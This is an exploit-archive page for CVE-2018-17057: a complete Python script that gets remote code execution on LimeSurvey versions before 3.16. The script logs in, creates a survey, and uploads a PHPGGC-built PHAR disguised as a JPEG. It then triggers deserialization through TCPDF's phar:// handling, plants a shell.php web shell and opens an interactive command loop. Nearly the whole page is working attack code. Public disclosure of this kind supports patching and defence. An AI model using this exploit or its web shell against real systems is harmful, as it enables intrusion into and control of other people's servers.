LimeSurvey Deserialization Remote Code Execution

2019.04.02
Credit: q3rv0
Risk: High
Local: No
Remote: Yes
CWE: CWE-502


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/python # Description: LimeSurvey < 3.16 use a old version of "TCPDF" library, this version is vulnerable to a Serialization Attack via the "phar://" wrapper. # Date: 29/03/2019 # Exploit Title: Remote Code Execution in LimeSurvey < 3.16 via Serialization Attack in TCPDF. # Exploit Author: @q3rv0 # Google Dork: # Version: < 3.16 # Tested on: LimeSurvey 3.15 # PoC: https://www.secsignal.org/news/remote-code-execution-in-limesurvey-3-16-via-serialization-attack-in-tcpdf # CVE: CVE-2018-17057 # SecSignal is: <3 # Usage: python exploit.py [URL] [USERNAME] [PASSWORD] import requests import sys import re SESSION = requests.Session() # Malicious PHAR generated with PHPGGC. # ./phpggc Yii/RCE1 system "echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > shell.php" -p phar -o /tmp/exploit.jpg PHAR = ("\x3c\x3f\x70\x68\x70\x20\x5f\x5f\x48\x41\x4c\x54\x5f\x43\x4f\x4d\x50\x49\x4c\x45\x52\x28\x29\x3b\x20\x3f\x3e\x0d\x0a\x38" "\x02\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x00\x00\x02\x02\x00\x00\x4f\x3a\x31\x31\x3a\x22\x43\x44\x62" "\x43\x72\x69\x74\x65\x72\x69\x61\x22\x3a\x31\x3a\x7b\x73\x3a\x36\x3a\x22\x70\x61\x72\x61\x6d\x73\x22\x3b\x4f\x3a\x31\x32" "\x3a\x22\x43\x4d\x61\x70\x49\x74\x65\x72\x61\x74\x6f\x72\x22\x3a\x33\x3a\x7b\x73\x3a\x31\x36\x3a\x22\x00\x43\x4d\x61\x70" "\x49\x74\x65\x72\x61\x74\x6f\x72\x00\x5f\x64\x22\x3b\x4f\x3a\x31\x30\x3a\x22\x43\x46\x69\x6c\x65\x43\x61\x63\x68\x65\x22" "\x3a\x37\x3a\x7b\x73\x3a\x39\x3a\x22\x6b\x65\x79\x50\x72\x65\x66\x69\x78\x22\x3b\x73\x3a\x30\x3a\x22\x22\x3b\x73\x3a\x37" "\x3a\x22\x68\x61\x73\x68\x4b\x65\x79\x22\x3b\x62\x3a\x30\x3b\x73\x3a\x31\x30\x3a\x22\x73\x65\x72\x69\x61\x6c\x69\x7a\x65" "\x72\x22\x3b\x61\x3a\x31\x3a\x7b\x69\x3a\x31\x3b\x73\x3a\x36\x3a\x22\x73\x79\x73\x74\x65\x6d\x22\x3b\x7d\x73\x3a\x39\x3a" "\x22\x63\x61\x63\x68\x65\x50\x61\x74\x68\x22\x3b\x73\x3a\x31\x30\x3a\x22\x64\x61\x74\x61\x3a\x74\x65\x78\x74\x2f\x22\x3b" "\x73\x3a\x31\x34\x3a\x22\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x4c\x65\x76\x65\x6c\x22\x3b\x69\x3a\x30\x3b\x73\x3a\x31\x31" "\x3a\x22\x65\x6d\x62\x65\x64\x45\x78\x70\x69\x72\x79\x22\x3b\x62\x3a\x31\x3b\x73\x3a\x31\x35\x3a\x22\x63\x61\x63\x68\x65" "\x46\x69\x6c\x65\x53\x75\x66\x66\x69\x78\x22\x3b\x73\x3a\x31\x34\x30\x3a\x22\x3b\x62\x61\x73\x65\x36\x34\x2c\x4f\x54\x6b" "\x35\x4f\x54\x6b\x35\x4f\x54\x6b\x35\x4f\x57\x56\x6a\x61\x47\x38\x67\x4d\x32\x4d\x7a\x5a\x6a\x63\x77\x4e\x6a\x67\x33\x4d" "\x44\x49\x77\x4e\x7a\x4d\x33\x4f\x54\x63\x7a\x4e\x7a\x51\x32\x4e\x54\x5a\x6b\x4d\x6a\x67\x79\x4e\x44\x56\x6d\x4e\x44\x63" "\x30\x4e\x54\x55\x30\x4e\x57\x49\x79\x4d\x6a\x59\x7a\x4d\x6a\x49\x31\x5a\x44\x49\x35\x4d\x32\x49\x79\x4d\x44\x4e\x6d\x4d" "\x32\x55\x77\x59\x53\x42\x38\x49\x48\x68\x34\x5a\x43\x41\x74\x63\x69\x41\x74\x63\x43\x41\x2b\x49\x48\x4e\x6f\x5a\x57\x78" "\x73\x4c\x6e\x42\x6f\x63\x41\x3d\x3d\x22\x3b\x7d\x73\x3a\x31\x39\x3a\x22\x00\x43\x4d\x61\x70\x49\x74\x65\x72\x61\x74\x6f" "\x72\x00\x5f\x6b\x65\x79\x73\x22\x3b\x61\x3a\x31\x3a\x7b\x69\x3a\x30\x3b\x69\x3a\x30\x3b\x7d\x73\x3a\x31\x38\x3a\x22\x00" "\x43\x4d\x61\x70\x49\x74\x65\x72\x61\x74\x6f\x72\x00\x5f\x6b\x65\x79\x22\x3b\x69\x3a\x30\x3b\x7d\x7d\x08\x00\x00\x00\x74" "\x65\x73\x74\x2e\x74\x78\x74\x04\x00\x00\x00\x36\xad\x9d\x5c\x04\x00\x00\x00\x0c\x7e\x7f\xd8\xb6\x01\x00\x00\x00\x00\x00" "\x00\x74\x65\x73\x74\xcc\xd9\x99\xbd\x5e\x65\x4e\x03\x9b\x90\xdd\xd5\x8b\xff\x28\xd2\x37\x8b\x23\xe5\x02\x00\x00\x00\x47" "\x42\x4d\x42") def usage(): if len(sys.argv) != 4: print "Usage: python exploit.py [URL] [USERNAME] [PASSWORD]" sys.exit(0) def get(url): r = SESSION.get(url, verify=False) return r.text def post(url, data={}, files=None, headers=None): r = SESSION.post(url, data=data, headers=headers, files=files, verify=False) return r.text def getYIICSRFToken(url): res = get(url) token = re.findall(r'value="(.*)" name="YII_CSRF_TOKEN"', res) return token[0] def getKCSRFToken(url): res = get(url) token = re.findall(r'csrftoken = "(.*)";', res) return token[0] def login(url, username, password): token = getYIICSRFToken(url) data = {"YII_CSRF_TOKEN" : token, "authMethod" : "Authdb", "user" : username, "password" : password, "loginlang" : "default", "action" : "login", "width" : "1366", "login_submit" : "login" } res = post(url, data) if len(re.findall("loginform", res)) == 0: return True else: return False def emailTemplates(url): return get(url) def createSurvey(url_newsurvey, url_insert): token = getYIICSRFToken(url_newsurvey) data = {"YII_CSRF_TOKEN" : token, "surveyls_title" : "Survey Example - SecSignal", "language" : "en", "createsample" : "0", "description" : "foo", "url" : "", "urldescrip" : "", "dateformat" : "1", "numberformat_en": "0", "welcome" : "bar", "endtext" : "asdf", "owner_id" : "1", "admin" : "Administrator", "adminemail" : "test%40gsecsignal.org", "bounce_email" : "test%40gsecsignal.org", "faxto" : "", "gsid" : "1", "format" : "G", "template" : "fruity", "navigationdelay": "0", "questionindex" : "0", "showgroupinfo" : "B", "showqnumcode" : "X", "shownoanswer" : "Y", "showxquestions" : "0", "showxquestions" : "1", "showwelcome" : "0", "showwelcome" : "1", "allowprev" : "0", "nokeyboard" : "0", "showprogress" : "0", "showprogress" : "1", "printanswers" : "0", "publicstatistics" : "0", "publicgraphs" : "0", "autoredirect" : "0", "startdate" : "", "expires" : "", "listpublic" : "0", "usecookie" : "0", "usecaptcha_surveyaccess" : "0", "usecaptcha_registration" : "0", "usecaptcha_saveandload" : "0", "datestamp" : "0", "ipaddr" : "0", "refurl" : "0", "savetimings" : "0", "assessments" : "0", "allowsave" : "0", "allowsave" : "1", "emailnotificationto" : "", "emailresponseto" : "", "googleanalyticsapikeysetting" : "N", "googleanalyticsstyle" : "0", "tokenlength" : "15", "anonymized" : "0", "tokenanswerspersistence" : "0", "alloweditaftercompletion" : "0", "allowregister" : "0", "htmlemail" : "0", "htmlemail" : "1", "sendconfirmation" : "0", "sendconfirmation" : "1", "saveandclose" : "1" } res = post(url_insert, data) surveyid = re.findall(r'surveyid\\/([0-9]+)', res) return surveyid[0] # Return SurveyiD def uploadPHAR(url_upload, url_csrf_token, phar): kcfinder_csrftoken = getKCSRFToken(url_csrf_token) files = {'upload[]': ('malicious.jpg', phar)} data = {"dir" : "files", "kcfinder_csrftoken" : kcfinder_csrftoken } res = post(url_upload, data, files) return res def pdfExport(url_pdf_export, surveyid): token = getYIICSRFToken(url_pdf_export + surveyid) data = {"save_language" : "en", "queXMLStyle" : '<h1>Stage 2</h1><img src="phar://./upload/surveys/'+ surveyid + '/files/malicious.jpg">', "queXMLSingleResponseAreaHeight" : "9", "queXMLSingleResponseHorizontalHeight" : "10.5", "queXMLQuestionnaireInfoMargin" : "5", "queXMLResponseTextFontSize" : "10", "queXMLResponseLabelFontSize" : "7.5", "queXMLResponseLabelFontSizeSmall" : "6.5", "queXMLSectionHeight" : "18", "queXMLBackgroundColourSection" : "221", "queXMLBackgroundColourQuestion" : "241", "queXMLAllowSplittingSingleChoiceHorizontal" : "0", "queXMLAllowSplittingSingleChoiceHorizontal" : "1", "queXMLAllowSplittingSingleChoiceVertical" : "0", "queXMLAllowSplittingSingleChoiceVertical" : "1", "queXMLAllowSplittingMatrixText" : "0", "queXMLAllowSplittingMatrixText" : "1", "queXMLAllowSplittingVas" : "0", "queXMLPageOrientation" : "P", "queXMLPageFormat" : "A4", "queXMLEdgeDetectionFormat" : "lines", "YII_CSRF_TOKEN" : token, "ok" : "Y"} res = post(url_pdf_export + surveyid, data) return res def shell(url): r = requests.get("%s/shell.php" % url) if r.status_code == 200: print "[+] Pwned! :)" print "[+] Getting the shell..." while 1: try: input = raw_input("$ ") r = requests.get("%s/shell.php?c=%s" % (url, input)) print r.text except KeyboardInterrupt: sys.exit("\nBye kaker!") else: print "[*] The site seems not to be vulnerable :(" def main(): usage() url = sys.argv[1] # URL username = sys.argv[2] # Username password = sys.argv[3] # Password url_login = "%s/index.php/admin/authentication/sa/login" % url print "[*] Logging in to LimeSurvey..." if login(url_login, username, password): url_newsurvey = "%s/index.php/admin/survey/sa/newsurvey" % url url_insert = "%s/index.php/admin/survey/sa/insert" % url print "[*] Creating a new Survey..." surveyid = createSurvey(url_newsurvey, url_insert) print "[+] SurveyID: %s" % surveyid email_templates = "%s/index.php/admin/emailtemplates/sa/index/surveyid/%s" % (url, surveyid) emailTemplates(email_templates) url_csrf_token = "%s/third_party/kcfinder/browse.php?opener=custom&type=files&CKEditor=email_invitation_en&langCode=en" % url url_upload = "%s/third_party/kcfinder/browse.php?type=files&lng=en&opener=custom&act=upload" % url print "[*] Uploading a malicious PHAR..." uploadPHAR(url_upload, url_csrf_token, PHAR) url_pdf_export = "%s/index.php/admin/export/sa/quexml/surveyid/" % url print "[*] Sending the Payload..." export_response = pdfExport(url_pdf_export, surveyid) print "[*] TCPDF Response: %s" % export_response shell(url) else: print "[-] Bad credentials :(" if __name__ == "__main__": main()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top